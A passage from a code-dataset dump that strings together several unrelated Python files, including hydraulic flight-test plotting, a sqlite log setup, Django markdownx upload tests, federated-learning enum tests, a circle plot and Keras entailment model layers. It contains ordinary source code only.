**plotSettings['axes_y'])\n\t\t\t\taxsDict[dof][4, sysIDsDict[sysID]].legend(handles = handlesList, **plotSettings['legend'])\n\t\t\t\tusualSettingsAXNoDoubleAxis(axsDict[dof][4, sysIDsDict[sysID]], plotSettings)\n\n\t\t\taxsDict[dof][0, sysIDsDict[sysID]].set_title('System '+sysID, **plotSettings['ax_title'])\n\t\t\taxsDict[dof][-1, sysIDsDict[sysID]].set_xlabel('Time elapsed [Seconds]', **plotSettings['axes_x'])\n\n\n\t\tif CMDoptionsDict['saveFigure']:\n\n\t\t\t# Range files\n\t\t\tif len(CMDoptionsDict['rangeFileIDs']) < 8:\n\t\t\t\trangeIDstring = ','.join([str(i) for i in CMDoptionsDict['rangeFileIDs']])\n\t\t\telse:\n\t\t\t\trangeIDstring = str(CMDoptionsDict['rangeFileIDs'][0])+'...'+str(CMDoptionsDict['rangeFileIDs'][-1])\n\n\t\t\tfigureDict[dof].suptitle(dof+' - '+rangeIDstring, **plotSettings['figure_title'])\n\t\t\tfigureDict[dof].savefig('hyd_flux__'+dof+'__'+rangeIDstring+'.png', dpi = plotSettings['figure_settings']['dpi'])\n\n\t# ################################################\n\t#Final summary plot\n\tprint('* Plotting results per flight')\n\tif tempRangeFlag:\n\t\tfigure, axs = plt.subplots(5, 2, sharex='col')\n\telse:\n\t\tfigure, axs = plt.subplots(4, 2, sharex='col')\n\tfigure.set_size_inches(16, 10, forward=True)\n\n\tfor sysID in sysIDsDict.keys():\n\t\t\n\t\t# Temp\n\t\taxs[0, sysIDsDict[sysID]].plot( [t/data_tempDict[sysID].get_freqData()[0] for t in data_tempDict[sysID].get_timeRs()], data_tempDict[sysID].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][0], label = 'Temp SYS'+sysID, **plotSettings['line'])\n\t\taxs[0, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_tempDict[sysID].get_mag()+'__'+data_tempDict[sysID].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\taxs[0, sysIDsDict[sysID]].legend(**plotSettings['legend'])\n\t\tusualSettingsAXNoDoubleAxis(axs[0, sysIDsDict[sysID]], plotSettings)\n\t\n\t\t# Force and velocity\n\t\tfor dof in dofs:\n\t\t\t# Force\n\t\t\taxs[1, sysIDsDict[sysID]].plot( [t/data_frc_rs_Dict[dof].get_freqData()[0] for t in data_frc_rs_Dict[dof].get_timeRs()], data_frc_rs_Dict[dof].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][colorsDict_dof[dof]], label = 'Force-'+dof, **plotSettings['line'])\n\n\t\t\t# Velocity\n\t\t\taxs[2, sysIDsDict[sysID]].plot( [t/data_dst_di_Dict[dof].get_freqData()[0] for t in data_dst_di_Dict[dof].get_timeRs()], data_dst_di_Dict[dof].get_rs(), linestyle = '-', marker = '', c = plotSettings['colors'][colorsDict_dof[dof]], label = 'Piston '+ dof +' vel.', **plotSettings['line'])\n\t\t\n\t\taxs[1, sysIDsDict[sysID]].legend(**plotSettings['legend'])\n\t\taxs[2, sysIDsDict[sysID]].legend(**plotSettings['legend'])\n\t\taxs[1, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_frc_rs_Dict[dof].get_mag()+'__'+data_frc_rs_Dict[dof].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\tusualSettingsAXNoDoubleAxis(axs[1, sysIDsDict[sysID]], plotSettings)\n\t\taxs[2, sysIDsDict[sysID]].set_ylabel(inputDataClass.get_variablesInfoDict()[data_dst_di_Dict[dof].get_mag()+'__'+data_dst_di_Dict[dof].get_description()]['y-label'], **plotSettings['axes_y'])\n\t\tusualSettingsAXNoDoubleAxis(axs[2, sysIDsDict[sysID]], plotSettings)\n\n\t\thandlesList = []\n\t\tfor dof in dofs:\n\t\t\thandlesList += [plt.Line2D([],[], color=plotSettings['colors'][colorsDict_dof[dof]], marker='o', linestyle='', label='$q_{'+dof+'}$')]\n\t\t\tfor segment_index in range(len(segmentsOfTime)):\n\t\t\t\taxs[3, sysIDsDict[sysID]].plot( resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]], resultsPerSegment[segment_index]['q_total'][dof][sysIDsDict[sysID]], linestyle = '', marker = markerDict_dof[dof], c = plotSettings['colors'][colorsDict_dof[dof]], label = '$q_{'+dof+'}$', **plotSettings['line'])\n\t\t\n\t\t# Plot total per system\n\t\thandlesList += [plt.Line2D([],[], color=plotSettings['colors'][3], marker='o', linestyle='', label='$q_{all}$')]\n\t\tfor segment_index in range(len(segmentsOfTime)):\n\t\t\ty_to_plot = []\n\t\t\tfor timeCurrent_index in range(len(resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]])):\n\t\t\t\tq_current_sum = 0.0\n\t\t\t\tfor dof in dofs:\n\t\t\t\t\tq_current_sum += resultsPerSegment[segment_index]['q_total'][dof][sysIDsDict[sysID]][timeCurrent_index]\n\t\t\t\ty_to_plot += [q_current_sum]\n\t\t\taxs[3, sysIDsDict[sysID]].plot( resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]], y_to_plot, linestyle = '', marker = 'o', c = plotSettings['colors'][3], label = '$q_{all}$', **plotSettings['line'])\n\t\t\n\t\t# Reference line max Q\n\t\t# Plot limit lines internal leakage\n\t\txOldLim = axs[3, sysIDsDict[sysID]].get_xlim()\n\t\tyOldLim = axs[3, sysIDsDict[sysID]].get_ylim()\n\t\taxs[3, sysIDsDict[sysID]].plot( xOldLim, 2*[9.2*(3.0/4.0)], linestyle = '--', marker = '', c = 'r', scalex = False, scaley = False, **plotSettings['line'])\n\n\t\taxs[3, sysIDsDict[sysID]].set_ylabel('Vol. flow [L/min]', **plotSettings['axes_y'])\n\t\taxs[3, sysIDsDict[sysID]].legend(handles = handlesList, **plotSettings['legend'])\n\t\tusualSettingsAXNoDoubleAxis(axs[3, sysIDsDict[sysID]], plotSettings)\n\n\t\t# Volumetric flow recorded\n\t\tif tempRangeFlag:\n\t\t\thandlesList = []\n\t\t\tfor temp_index in range(len(tempRange)):\n\t\t\t\thandlesList += [plt.Line2D([],[], color=plotSettings['colors'][temp_index], marker='o', linestyle='', label='$q_{all}$/'+str(tempRange[temp_index])+'$^\\circ$C')]\n\t\t\t\tfor segment_index in range(len(segmentsOfTime)):\n\t\t\t\t\ty_to_plot = []\n\t\t\t\t\tfor timeCurrent_index in range(len(resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]])):\n\t\t\t\t\t\tq_current_sum = 0.0\n\t\t\t\t\t\tfor dof in dofs:\n\t\t\t\t\t\t\tq_current_sum += resultsPerSegment[segment_index]['q_total_tempRange'][dof][sysIDsDict[sysID]][timeCurrent_index][temp_index]\n\t\t\t\t\t\ty_to_plot += [q_current_sum]\n\t\t\t\t\taxs[4, sysIDsDict[sysID]].plot( resultsPerSegment[segment_index]['time'][dof][sysIDsDict[sysID]], y_to_plot, linestyle = '', marker = 'o', c = plotSettings['colors'][temp_index], label = '$q_{all}$/'+str(tempRange[temp_index])+'$^\\circ$C', **plotSettings['line'])\n\t\t\t\n\t\t\t# Reference line max Q\n\t\t\t# Plot limit lines internal leakage\n\t\t\txOldLim = axs[4, sysIDsDict[sysID]].get_xlim()\n\t\t\tyOldLim = axs[4, sysIDsDict[sysID]].get_ylim()\n\t\t\taxs[4, sysIDsDict[sysID]].plot( xOldLim, 2*[9.2*(3.0/4.0)], linestyle = '--', marker = '', c = 'r', scalex = False, scaley = False, **plotSettings['line'])\n\n\t\t\taxs[4, sysIDsDict[sysID]].set_ylabel('Vol. flow [L/min]', **plotSettings['axes_y'])\n\t\t\taxs[4, sysIDsDict[sysID]].legend(handles = handlesList, **plotSettings['legend'])\n\t\t\tusualSettingsAXNoDoubleAxis(axs[4, sysIDsDict[sysID]], plotSettings)\n\t\t\n\t\taxs[0, sysIDsDict[sysID]].set_title('System '+sysID, **plotSettings['ax_title'])\n\n\taxs[-1, 0].set_xlabel('Time elapsed [Seconds]', **plotSettings['axes_x'])\n\taxs[-1, 1].set_xlabel('Time elapsed [Seconds]', **plotSettings['axes_x'])\n\n\tif CMDoptionsDict['saveFigure']:\n\t\tfigure.suptitle(rangeIDstring, **plotSettings['figure_title'])\n\t\tfigure.savefig('hyd_flux'+'__'+rangeIDstring+'.png', dpi = plotSettings['figure_settings']['dpi'])\n\ndef calculateSegmentsForHYDtestFT04(dataClasses, plotSettings, CMDoptionsDict):\n\t\n\t#Vector of steps\n\tdataExample = [temp for temp in dataClasses if temp.get_description() == 'HYD_PRS_1'][0]\n\t\n\t# Get index for the step\n\tstepStrs = dataExample.get_stepID()\n\tindexDictForSteps = {}\n\tfor id_curr in stepStrs:\n\t\tindexDictForSteps[id_curr] = stepStrs.index(id_curr)\n\n\t# For each step\n\n\t# variables \n\t# [ax loc, colorline, style, marker]\n\tvarDict = {\n\t\t\t\t 'rs__HYD_TMP_TANK_1' : [0, plotSettings['colors'][0], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__HYD_TMP_TANK_2' : [0, plotSettings['colors'][1], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__HYD_PRS_1' : [1, plotSettings['colors'][0], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__HYD_PRS_2' : [1, plotSettings['colors'][1], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__IND_PRS_1' : [2, plotSettings['colors'][0], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__IND_PRS_2' : [2, plotSettings['colors'][1], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__CNT_DST_COL' : [3, plotSettings['colors'][0], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__CNT_DST_LAT' : [3, plotSettings['colors'][1], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'rs__CNT_DST_LNG' : [3, plotSettings['colors'][2], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'di__CNT_DST_BST_COL' : [4, plotSettings['colors'][0], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'di__CNT_DST_BST_LAT' : [4, plotSettings['colors'][1], plotSettings['linestyles'][0], '']\n\t\t\t\t, 'di__CNT_DST_BST_LNG' : [4, plotSettings['colors'][2], plotSettings['linestyles'][0], '']\n\t\t\t}\n\tadditionDict = {'3-actuators' : [4, plotSettings['colors'][3], plotSettings['linestyles'][0], '']}\n\n\tsegmentsDict = { \n\t\t\t\t\t '8' : [810, 1170]\n\t\t\t\t\t, '40' : [3925, 3966]\n\t\t\t\t\t, '42' : [4075, 4135]\n\t\t\t\t\t, '10' : [1128, 1310]\n\t\t\t\t\t, '11' : [1310, 1450]\n\t\t\t\t\t, '16' : [1465, 1840]\n\t\t\t\t\t, '18' : [1465, 2300]\n\t\t\t\t\t, '19' : [2300, 2430]\n\t\t\t\t\t, '24' : [2570, 2690]\n\t\t\t\t\t, '25' : [2570, 2690]\n\t\t\t\t\t, '24' : [2570, 2690]\n\t\t\t\t\t, '25' : [2688, 2830]\n\t\t\t\t\t, '26' : [2830, 2903]\n\t\t\t\t\t, '29' : [3006, 3053]\n\t\t\t\t\t, '30' : [3060, 3120]\n\t\t\t\t\t, '31' : [3140, 3188]\n\t\t\t\t\t, '32' : [3230, 3255]\n\t\t\t\t\t, '32-add': [3265, 3280]\n\t\t\t\t\t, '33' : [3310, 3347]\n\t\t\t\t\t, '34' : [3370, 3405]\n\t\t\t\t\t, '35' : [3450, 3490]\n\t\t\t\t\t, '36' : [3505, 3550]\n\t\t\t\t\t, '37' : [3563, 3607]\n\t\t\t\t\t, '38' : [3810, 3856]\n\t\t\t\t\t, '39' : [3860, 3915]\n\t\t\t\t\t, 'All_steps' : [810, 3966]\n\t\t\t\t\t}\n\n\t# segmentsDict = {'29' : [3006, 3053]}\n\tstepStr = '13-FT04'\n\tflagAdjustAxisPilot = True\n\tfor segKey in segmentsDict.keys():\n\n\t\tfigure, axs = plt.subplots(5, 1, sharex='col')\n\t\tfigure.set_size_inches(16, 10, forward=True)\n\t\tfigure.suptitle('Step '+segKey, **plotSettings['figure_title'])\n\n\t\tmaxValue, UpLimit, DoLimit = 0, 0, 0 # for plot 3\n\t\tfor var in varDict.keys():\n\n\t\t\tdataTemp = [temp for temp in dataClasses if temp.get_mag()+'__'+temp.get_description() == var][0]\n\n\t\t\tdataSplitForSegment, timeSplitForSegment = createSegmentsOf_rs_FromVariableClass(dataTemp, segmentsDict[segKey], indexDictForSteps[stepStr])\n\n\t\t\taxs[varDict[var][0]].plot( timeSplitForSegment, dataSplitForSegment, linestyle = varDict[var][2], marker = varDict[var][3], c = varDict[var][1], label = var, **plotSettings['line'])\n\n\t\t\tif varDict[var][0] == 3 and flagAdjustAxisPilot:\n\t\t\t\t# tempVal = max(abs(max(dataSplitForSegment)), abs(min(dataSplitForSegment)))\n\t\t\t\ta = max(dataSplitForSegment)\n\t\t\t\tb = min(dataSplitForSegment)\n\t\t\t\t# if b<0:\n\t\t\t\t# \tb = 0\n\t\t\t\tc = (a+b)/2\n\t\t\t\tz = max(abs(b-c), abs(c-a))\n\t\t\t\t# pdb.set_trace()\n\t\t\t\tif z > maxValue:\n\t\t\t\t\tmaxValue = z\n\t\t\t\t\tUpLimit = c+z\n\t\t\t\t\tDoLimit = c-z\n\n\t\tif segKey in ('31','34','37','40','42'):\n\n\t\t\tdataCOL = [temp for temp in dataClasses if temp.get_mag()+'__'+temp.get_description() == 'di__CNT_DST_BST_COL'][0]\n\t\t\tdataLNG = [temp for temp in dataClasses if temp.get_mag()+'__'+temp.get_description() == 'di__CNT_DST_BST_LNG'][0]\n\t\t\tdataLAT = [temp for temp in dataClasses if temp.get_mag()+'__'+temp.get_description() == 'di__CNT_DST_BST_LAT'][0]\n\n\t\t\tdataSplitForSegment_COL, timeSplitForSegment_COL = createSegmentsOf_rs_FromVariableClass(dataCOL, segmentsDict[segKey], indexDictForSteps[stepStr])\n\t\t\tdataSplitForSegment_LNG, timeSplitForSegment_LNG = createSegmentsOf_rs_FromVariableClass(dataLNG, segmentsDict[segKey], indexDictForSteps[stepStr])\n\t\t\tdataSplitForSegment_LAT, timeSplitForSegment_LAT = createSegmentsOf_rs_FromVariableClass(dataLAT, segmentsDict[segKey], indexDictForSteps[stepStr])\n\n\t\t\tnewData = []\n\t\t\ti=0\n\t\t\tfor point in dataSplitForSegment_COL:\n\t\t\t\tnewData += [ abs(dataSplitForSegment_COL[i]) + abs(dataSplitForSegment_LNG[i]) + abs(dataSplitForSegment_LAT[i])]\n\t\t\t\ti+=1\n\n\t\t\taxs[varDict[var][0]].plot( timeSplitForSegment_COL, newData, linestyle = additionDict['3-actuators'][2], marker = additionDict['3-actuators'][3], c = additionDict['3-actuators'][1], label = '3-actuators', **plotSettings['line'])\n\t\t\n\t\taxs[0].set_title('HYD Temperature', **plotSettings['ax_title'])\n\t\taxs[1].set_title('HYD pressure', **plotSettings['ax_title'])\n\t\taxs[2].set_title('HYD PRES indications', **plotSettings['ax_title'])\n\t\taxs[3].set_title('Pilot inputs', **plotSettings['ax_title'])\n\t\taxs[4].set_title('Actuator piston speed', **plotSettings['ax_title'])\n\n\t\taxs[0].set_ylabel('Temp. [$^\\circ$C]', **plotSettings['axes_y'])\n\t\taxs[1].set_ylabel('Press. [bar]', **plotSettings['axes_y'])\n\t\t# axs[2].set_ylabel('HYD PRES indications', **plotSettings['axes_y'])\n\t\taxs[3].set_ylabel('Increment [%]', **plotSettings['axes_y'])\n\t\taxs[4].set_ylabel('Speed [mm/s]', **plotSettings['axes_y'])\n\n\t\taxs[-1].set_xlabel('Time elapsed [Seconds]', **plotSettings['axes_x'])\n\n\t\t# Limits pilot input\n\t\tif flagAdjustAxisPilot:\n\t\t\taxs[3].set_ylim([DoLimit-(maxValue*0.2), UpLimit+(maxValue*0.2)])\n\t\t\t\n\t\tfor ax in axs:\n\t\t\tax.legend(**plotSettings['legend'])\n\t\t\tusualSettingsAX(ax, plotSettings)\n\n\t\tif CMDoptionsDict['saveFigure']:\n\n\t\t\tfigure.savefig(os.path.join('L:\\\\TEMP\\\\AlejandroValverde\\\\DIADEM\\\\resulting_plots\\\\FT04\\\\', 'HYD_GR_STEP__'+segKey+'.png'), dpi = plotSettings['figure_settings']['dpi'])","sub_path":"fatigueData/moduleAdditionalFunctions.py","file_name":"moduleAdditionalFunctions.py","file_ext":"py","file_size_in_byte":51508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"310774507","text":"import sqlite3\n\ndef log_init():\n conn = sqlite3.connect('./log.db')\n\n cur = conn.cursor()\n\n cur.execute(r'''CREATE TABLE \"stdupc\" (\n \"id\" integer NOT NULL PRIMARY KEY AUTOINCREMENT,\n \"barcode\" TEXT DEFAULT NULL,\n \"std_flag\" TEXT DEFAULT NULL,\n \"except\" TEXT\n );''')\n\n conn.commit()\n\n cur.execute(r'''INSERT INTO \"main\".\"stdupc\"(\"barcode\", \"std_flag\", \"except\") \n VALUES ('69xxxxxxxxx', '0', '测试');''')\n\n conn.commit()\n\n conn.close()","sub_path":"py/db/my_db_demo/db/log_init.py","file_name":"log_init.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"553406916","text":"import constantshandler\nimport matplotlib.pyplot as plt\n\n#Handles plotting of curves\ndef Curve_Graph(List, Save_Directory, Graph_Name):\n plt.clf()\n plt.plot(List)\n plt.ylabel(Graph_Name)\n plt.savefig(Save_Directory)\n plt.close()\n","sub_path":"code/app/graphhandler.py","file_name":"graphhandler.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"648988010","text":"from contextlib import contextmanager\nfrom unittest import mock\n\nimport os\nimport re\nfrom django.test import TestCase, override_settings\nfrom django.urls import reverse\n\n\nclass SimpleTest(TestCase):\n\n def test_me(self):\n response = self.client.get('/testview/')\n self.assertEqual(response.status_code, 200)\n\n @contextmanager\n def _get_image_fp(self):\n with open('markdownx/tests/static/django-markdownx-preview.png', 'rb') as fp:\n yield fp\n\n def test_upload_anonymous_fails(self):\n url = reverse('markdownx_upload')\n\n # Test that image upload fails for an anonymous user when\n # MARKDOWNX_UPLOAD_ALLOW_ANONYMOUS is the default False.\n with self._get_image_fp() as fp:\n response = self.client.post(url, {'image': fp}, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 403)\n\n def test_upload_anonymous_succeeds_with_setting(self):\n \"\"\"\n Ensures that uploads succeed when MARKDOWNX_UPLOAD_ALLOW_ANONYMOUS\n is True. This implicitly tests the authenticated case as well.\n \"\"\"\n url = reverse('markdownx_upload')\n\n # A patch is required here because the view sets the\n # MARKDOWNX_UPLOAD_ALLOW_ANONYMOUS at first import, reading from\n # django.conf.settings once, which means Django's standard\n # override_settings helper does not work. There's probably a case for\n # re-working the app-local settings.\n with mock.patch('markdownx.settings.MARKDOWNX_UPLOAD_ALLOW_ANONYMOUS', True):\n with self._get_image_fp() as fp:\n response = self.client.post(url, {'image': fp}, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n\n self.assertEqual(response.status_code, 200)\n json = response.json()\n self.assertIn('image_code', json)\n\n match = re.findall(r'(markdownx/[\\w\\-]+\\.png)', json['image_code'])\n try:\n if match:\n os.remove(match[0])\n except OSError:\n pass\n","sub_path":"markdownx/tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"382481994","text":"#!/usr/bin/env python3\n#author markpurcell@ie.ibm.com\n\n\"\"\"\nIBM-Review-Requirement: Art30.3 - DO NOT TRANSFER OR EXCLUSIVELY LICENSE THE FOLLOWING CODE UNTIL 30/11/2025!\nPlease note that the following code was developed for the project MUSKETEER in DRL funded by the European Union\nunder the Horizon 2020 Program.\nThe project started on 01/12/2018 and was completed on 30/11/2021. Thus, in accordance with article 30.3 of the\nMulti-Beneficiary General Model Grant Agreement of the Program, the above limitations are in force until 30/11/2025.\n\"\"\"\n\nimport logging\nimport time\nimport json\nimport unittest\nimport pytest\nimport pycloudmessenger.ffl.fflapi as fflapi\n\n\n#Set up logger\nlogging.basicConfig(\n level=logging.INFO,\n #level=logging.DEBUG,\n format='%(asctime)s.%(msecs)03d %(levelname)-6s %(name)-16s :: %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n\nLOGGER = logging.getLogger(__package__)\n\n\n\nclass FFLTests(unittest.TestCase):\n #@unittest.skip(\"temporarily skipping\")\n def test_enum(self):\n self.assertTrue(fflapi.Notification('aggregator_started') is fflapi.Notification.aggregator_started)\n\n with self.assertRaises(ValueError):\n self.assertTrue(fflapi.Notification('start') is fflapi.Notification.started)\n \n with self.assertRaises(ValueError):\n self.assertTrue(fflapi.Notification('started') is fflapi.Notification.start)\n\n #Check list searching\n arr = [fflapi.Notification.aggregator_started, fflapi.Notification.aggregator_stopped]\n self.assertTrue(fflapi.Notification('aggregator_started') in arr)\n self.assertTrue(fflapi.Notification('participant_joined') not in arr)\n\n #Ensure json serializability\n notify = {'type': fflapi.Notification.participant_joined}\n serialized = json.dumps(notify)\n\n deserialized = json.loads(serialized)\n self.assertTrue(fflapi.Notification(deserialized['type']) is fflapi.Notification.participant_joined)\n","sub_path":"tests/ffl/ffl.py","file_name":"ffl.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"303718305","text":"import numpy as np \r\nimport matplotlib.pyplot as plt \r\n#from coeffs import *\r\n#import subprocess\r\n#import shlex\r\n\r\nl = np.array([-1,-1])\r\nm = np.array([1,1])\r\nO = np.array([0,0])\r\nr = np.array([-1.5,0])\r\ns = np.array([1.5,0])\r\nA = np.array([1/np.sqrt(2),1/np.sqrt(2)])\r\nB = np.array([1,0])\r\n\r\n\r\nx_points_1 = [np.cos(theta*np.pi/180) for theta in range(46)]\r\ny_points_1 = [np.sin(theta*np.pi/180) for theta in range(46)] \r\n\r\nx_points_2 = [np.cos(theta*np.pi/180) for theta in range(46)]\r\ny_points_2 = [0 for theta in range(46)]\r\n\r\nx_points = x_points_1 + x_points_2\r\ny_points = y_points_1 + y_points_2\r\n\r\nx_lm = line_gen(l,m)\r\nx_rs = line_gen(r,s)\r\n\r\nlen = 200\r\ntheta = np.linspace(0,2*np.pi,len)\r\nx_circ = np.zeros((2,len))\r\nx_circ[0,:] = np.sqrt(1)*np.cos(theta)\r\nx_circ[1,:] = np.sqrt(1)*np.sin(theta)\r\nx_circ = (x_circ.T + O).T\r\n\r\nplt.fill_between([0,1/np.sqrt(2),1],[0,1/np.sqrt(2),0],color = 'black')\r\nplt.fill_between(x_points,y_points,color = 'black')\r\n\r\nplt.plot(x_circ[0,:],x_circ[1,:],label='$circle$')\r\nplt.plot(O[0],O[1],'o')\r\nplt.plot(A[0],A[1],'o')\r\nplt.plot(B[0],B[1],'o')\r\nplt.plot(x_lm[0,:],x_lm[1,:])\r\nplt.plot(x_rs[0,:],x_rs[1,:])\r\n\r\nplt.text(O[0],O[1]+ 0.1,'O')\r\nplt.text(A[0],A[1]+0.1,'A')\r\nplt.text(B[0]+0.05,B[1]+0.05,'B')\r\n\r\nplt.xlabel('$x$')\r\nplt.ylabel('$y$')\r\nplt.legend(loc='best')\r\nplt.grid() \r\nplt.axis('equal')\r\n\r\nplt.show()\r\n","sub_path":"ASSIGNMENT_2/code/PROBLEM_2.3_Quadratic form.py","file_name":"PROBLEM_2.3_Quadratic form.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"413736563","text":"\n\n#calss header\nclass _MAGNETISM():\n\tdef __init__(self,): \n\t\tself.name = \"MAGNETISM\"\n\t\tself.definitions = [u'a quality that makes someone very attractive to other people: ', u'the power of being able to attract iron and steel objects and also push them away']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_magnetism.py","file_name":"_magnetism.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"151304405","text":"\"\"\"\nEntailment layers take three inputs, and combine them in some way to get to T/F. They must end\nwith a softmax output over two dimensions.\n\nInputs:\n sentence_encoding\n current_memory\n attended_background_knowledge\n\nWe are trying to decide whether sentence_encoding is entailed by some background knowledge.\nattended_background_knowledge and current_memory are two different vectors that encode the state of\nreasoning over this background knowledge, which the entailment model can choose to use as desired.\n\"\"\"\n\nfrom typing import Any, Dict\n\nfrom keras import backend as K\nfrom keras import initializations, activations\nfrom keras.layers import Dense, Layer, TimeDistributed\n\nfrom ..common.tensors import switch, masked_softmax, tile_vector\n\nclass TrueFalseEntailmentModel:\n \"\"\"\n This entailment model assumes that we merge the three inputs in some way at the beginning into\n a single vector, then pass that vector through an MLP. How we actually merge the three inputs\n is specified by one of the combiners below.\n \"\"\"\n def __init__(self, params: Dict[str, Any]):\n self.num_hidden_layers = params.pop('num_hidden_layers', 1)\n self.hidden_layer_width = params.pop('hidden_layer_width', 50)\n self.hidden_layer_activation = params.pop('hidden_layer_activation', 'relu')\n\n self.hidden_layers = None\n self.softmax_layer = None\n self._init_layers()\n\n # TODO(matt): it would make sense to put the hidden layers and the score layer into a\n # superclass, as this method is the same for both the TrueFalseEntailmentModel and the\n # MultipleChoiceEntailmentModel. The QuestionAnswerEntailmentModel throws a bit of a wrench\n # into this, though, so it needs some careful thought.\n def _init_layers(self):\n self.hidden_layers = []\n for i in range(self.num_hidden_layers):\n self.hidden_layers.append(Dense(output_dim=self.hidden_layer_width,\n activation=self.hidden_layer_activation,\n name='entailment_hidden_layer_%d' % i))\n self.score_layer = Dense(output_dim=2, activation='softmax', name='entailment_softmax')\n\n def classify(self, combined_input):\n \"\"\"\n Here we take the combined entailment input and decide whether it is true or false. The\n combined input has shape (batch_size, combined_input_dim). We do not know what\n combined_input_dim is, as it depends on the combiner.\n \"\"\"\n hidden_input = combined_input\n for layer in self.hidden_layers:\n hidden_input = layer(hidden_input)\n softmax_output = self.score_layer(hidden_input)\n return softmax_output\n\n\nclass AnswerSimilaritySoftmax(Layer):\n '''\n This layer takes a list of two tensors: projected_entailment_input and encoded_answers, and computes\n a softmax over the options based on how similar they are to the input. It first tiles the entailment_input\n to compute an efficient dot product (followed by a sum) with the encoded answers.\n Input shapes:\n projected_input: (batch_size, answer_dim)\n encoded_answers: (batch_size, num_options, answer_dim)\n Output shape: (batch_size, num_options)\n '''\n def __init__(self, **kwargs):\n self.supports_masking = True\n super(AnswerSimilaritySoftmax, self).__init__(**kwargs)\n\n def compute_mask(self, inputs, mask=None):\n # pylint: disable=unused-argument\n # We do not need a mask beyond this layer.\n return None\n\n def get_output_shape_for(self, input_shapes):\n return (input_shapes[1][0], input_shapes[1][1])\n\n def call(self, inputs, mask=None):\n projected_input, encoded_answers = inputs\n if mask is not None:\n # The projected input is not expected to have a mask, since it is the output of a Dense layer.\n answers_mask = mask[1]\n if K.ndim(answers_mask) < K.ndim(encoded_answers):\n # To use switch, we need the answer_mask to be the same size as the encoded_answers.\n # Therefore we expand it and multiply by ones in the shape that we need.\n answers_mask = K.expand_dims(answers_mask) * K.cast(K.ones_like(encoded_answers), \"uint8\")\n encoded_answers = switch(answers_mask, encoded_answers, K.zeros_like(encoded_answers))\n # (batch_size, answer_dim) --> (batch_size, num_options, answer_dim)\n tiled_input = tile_vector(projected_input, encoded_answers)\n softmax_output = masked_softmax(K.sum(encoded_answers * tiled_input, axis=2), mask[1])\n return softmax_output\n\n\nclass QuestionAnswerEntailmentModel:\n \"\"\"\n In addition to the three combined inputs mentioned at the top of this file, this entailment\n model also takes a list of answer encodings. Instead of going to a final softmax for the\n combined input, as the TrueFalseEntailmentModel does, this model projects the combined input\n into the same dimension as the answer encoding, does a dot product between the combined input\n encoding and the answer encoding, and does a final softmax over those similar scores.\n \"\"\"\n def __init__(self, params: Dict[str, Any]):\n self.num_hidden_layers = params.pop('num_hidden_layers', 1)\n self.hidden_layer_width = params.pop('hidden_layer_width', 50)\n self.hidden_layer_activation = params.pop('hidden_layer_activation', 'relu')\n self.answer_dim = params.pop('answer_dim')\n\n self.hidden_layers = None\n self.softmax_layer = None\n self.projection_layer = None\n self.tile_layer = None\n self.similarity_layer = None\n self._init_layers()\n\n def _init_layers(self):\n self.hidden_layers = []\n for i in range(self.num_hidden_layers):\n self.hidden_layers.append(Dense(output_dim=self.hidden_layer_width,\n activation=self.hidden_layer_activation,\n name='entailment_hidden_layer_%d' % i))\n self.projection_layer = Dense(output_dim=self.answer_dim,\n activation='linear',\n name='entailment_projection')\n\n def classify(self, combined_input, encoded_answers):\n \"\"\"\n Here we take the combined entailment input, do a little more processing on it, then decide\n which answer it is closest to. Specifically, we pass the combined input through a few\n hidden layers, then use a linear projection to get it into the same dimension as the answer\n encoding. Then we do a dot product between the combined input and each of the answer\n options, and pass those values through a softmax.\n\n The combined input has shape (batch_size, combined_input_dim). encoded_answers has shape\n (batch_size, num_options, answer_dim).\n \"\"\"\n hidden_input = combined_input\n for layer in self.hidden_layers:\n hidden_input = layer(hidden_input)\n projected_input = self.projection_layer(hidden_input)\n\n # Note that this layer has no parameters, so it doesn't need to be put into self._init_layers().\n softmax_output = AnswerSimilaritySoftmax(name='answer_similarity_softmax')([projected_input,\n encoded_answers])\n return 